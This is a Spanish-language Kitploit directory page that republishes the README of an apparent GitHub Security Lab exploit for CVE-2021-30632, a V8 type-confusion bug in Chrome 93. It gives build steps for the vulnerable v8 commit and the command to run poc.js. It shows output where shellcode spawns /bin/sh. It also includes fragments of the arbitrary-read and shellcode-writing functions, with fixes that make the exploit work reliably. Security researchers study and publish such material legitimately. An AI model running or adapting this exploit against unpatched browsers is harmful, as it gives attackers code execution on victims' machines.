Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-30632 — m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632 | Kitploit
Herramientas/GitHubGitHub/paulsery/cve-2021-30632
Análisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebGeneración de ShellcodeExplotación de Binarios
GitHubpaulsery/cve-2021-30632

CVE-2021-30632

m-y-mo: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

Ver Repositorio
1hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

From: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

El análisis de este error se puede encontrar aquí. Este es un error de Chrome reportado por un investigador anónimo y se cree que fue explotado en la naturaleza.

El exploit aquí presentado se probó en la versión 9.3.345.16 de v8 (commit 632e6e7), que es la versión incluida con Chrome 93.0.4577.63, la anterior a que se corrigiera el error, en Ubuntu 20.04. No lo he probado en Chrome en sí.

Para probarlo, descargue v8 en el commit 632e6e7 y compile con la configuración predeterminada usando tools/dev/gm.py x64.release. Luego abra el archivo poc.js con d8:

root@kitploit:~
./d8 poc.js

En Ubuntu 20.04, debería llamar a execve("/bin/sh") para generar un nuevo proceso:

root@kitploit:~
./d8 poc.js
instance: 81d42dd
elements: 804abd9
rwx page address: 22c70c88b000
intArray addr: 8105d79
intBackingStore: 56498ceb25e0
$

El código shell puede necesitar cambios en otras plataformas.

El exploit es muy fiable, sin embargo, al probarlo, noté que algunos offsets parecen ser sensibles a pequeños cambios en el archivo (incluso agregar comentarios puede causar problemas), lo que provocaría que el exploit fallara. Esto solo ocurre cuando el archivo se modifica y generalmente se manifiesta con algunos valores basura en las direcciones, por ejemplo:

root@kitploit:~
instance: 81d42dd
elements: 800222d
rwx page address: 3ff199999999999a
intArray addr: 81067e1
intBackingStore: 3ff199999999999a

En lo anterior, la dirección de la página rwx y initBackingStore son claramente incorrectas. La causa raíz parece ser un valor incorrecto de almacenamiento de elements. (800222d no es un valor válido) Esto se puede solucionar generalmente cambiando las siguientes líneas con respecto a la dirección de elements:

root@kitploit:~
function arbRead(addr) {
  [elements, addr1] = ftoi32(addrs[1]);  //<---- change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(addr,addr1));          //<---- change to   oobWrite(i32tof(addr1,addr));
  return writeArr[0];
}
...
function writeShellCode(rwxAddr, shellArr) {
  var intArr = new Uint8Array(400);
  var intArrAddr = addrOf(intArr);
  console.log("intArray addr: " + intArrAddr.toString(16));
  var intBackingStore = ftoi(arbRead(intArrAddr + 0x20));
  console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

  [elements, addr1] = ftoi32(addrs[1]);              //<------ change this to [addr1, elements] = ftoi32(addrs[1]);
  oobWrite(i32tof(intArrAddr + 0x20, addr1));        //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20));
  ...
}
...
var elementsAddr = ftoi32(addrs[1])[0];             //<------- change this to var elementsAddr = ftoi32(addrs[1])[1];

Esto, sin embargo, no afecta la fiabilidad del exploit ya que los offsets son estables mientras el archivo esté fijo, pero puede causar problemas si se modifica el poc. No sé qué causa esto, pero probablemente se pueda hacer el exploit más robusto contra esto mediante la coincidencia de patrones en la memoria en lugar de depender de offsets fijos.

Descargar herramienta